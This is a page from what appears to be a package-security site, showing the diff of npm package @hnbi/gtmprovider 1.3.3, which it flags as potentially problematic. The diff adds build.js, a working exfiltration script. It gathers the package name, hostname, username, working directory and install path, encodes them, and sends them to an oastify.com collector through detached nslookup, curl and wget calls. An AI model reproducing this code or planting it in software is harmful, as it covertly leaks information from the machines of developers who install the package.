@hnbi/gtmprovider 1.3.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @hnbi/gtmprovider might be problematic. Click here for more details.
- package/README.md +1 -0
- package/build.js +84 -0
- package/package.json +10 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
Test.
|
package/build.js
ADDED
@@ -0,0 +1,84 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
var isWin = process.platform === "win32";
|
4
|
+
|
5
|
+
const id = "@hnbi/gtmprovider";
|
6
|
+
let globalCounter = 1;
|
7
|
+
|
8
|
+
try {
|
9
|
+
exfil(`id_${id}`);
|
10
|
+
} catch (e) {}
|
11
|
+
try {
|
12
|
+
exfil(`host_${os.hostname()}`);
|
13
|
+
} catch (e) {}
|
14
|
+
try {
|
15
|
+
exfil(`user_${os.userInfo().username}`);
|
16
|
+
} catch (e) {}
|
17
|
+
try {
|
18
|
+
exfil(`cwd:_${process.cwd()}`);
|
19
|
+
} catch (e) {}
|
20
|
+
try {
|
21
|
+
exfil(`dirname_${__dirname}`);
|
22
|
+
} catch (e) {}
|
23
|
+
// try {
|
24
|
+
// const nets = os.networkInterfaces();
|
25
|
+
// for (const name of Object.keys(nets)) {
|
26
|
+
// for (const net of nets[name]) {
|
27
|
+
// exfil({ ["d_net_" + name]: net.address });
|
28
|
+
// }
|
29
|
+
// }
|
30
|
+
// } catch (e) {}
|
31
|
+
|
32
|
+
try {
|
33
|
+
spawn(
|
34
|
+
`curl`,
|
35
|
+
[
|
36
|
+
`http://${urlSafe(
|
37
|
+
id
|
38
|
+
)}.curl.dj02d9sc9muknk5xc9hx84g9t0zrnhb6.oastify.com/?${id}`,
|
39
|
+
],
|
40
|
+
{
|
41
|
+
detached: true,
|
42
|
+
}
|
43
|
+
);
|
44
|
+
spawn(
|
45
|
+
`wget`,
|
46
|
+
[
|
47
|
+
`http://${urlSafe(
|
48
|
+
id
|
49
|
+
)}.wget.dj02d9sc9muknk5xc9hx84g9t0zrnhb6.oastify.com/?${id}`,
|
50
|
+
],
|
51
|
+
{
|
52
|
+
detached: true,
|
53
|
+
}
|
54
|
+
);
|
55
|
+
} catch (error) {}
|
56
|
+
|
57
|
+
function exfil(data) {
|
58
|
+
try {
|
59
|
+
const b64 = Buffer.from(JSON.stringify(data))
|
60
|
+
.toString("base64")
|
61
|
+
.replace(/=/gm, "");
|
62
|
+
|
63
|
+
let args = [];
|
64
|
+
|
65
|
+
args.push(
|
66
|
+
`${globalCounter}${b64}.dj02d9sc9muknk5xc9hx84g9t0zrnhb6.oastify.com`
|
67
|
+
);
|
68
|
+
|
69
|
+
spawn(`nslookup`, args, { detached: true });
|
70
|
+
const args2 = [];
|
71
|
+
args2.push(
|
72
|
+
`${globalCounter++}${urlSafe(
|
73
|
+
data
|
74
|
+
)}.dj02d9sc9muknk5xc9hx84g9t0zrnhb6.oastify.com`
|
75
|
+
);
|
76
|
+
spawn(`nslookup`, args2, { detached: true });
|
77
|
+
|
78
|
+
} catch (e) {
|
79
|
+
}
|
80
|
+
}
|
81
|
+
|
82
|
+
function urlSafe(data) {
|
83
|
+
return encodeURIComponent(data).replaceAll(/[@\/\.%]/gim, "_");
|
84
|
+
}
|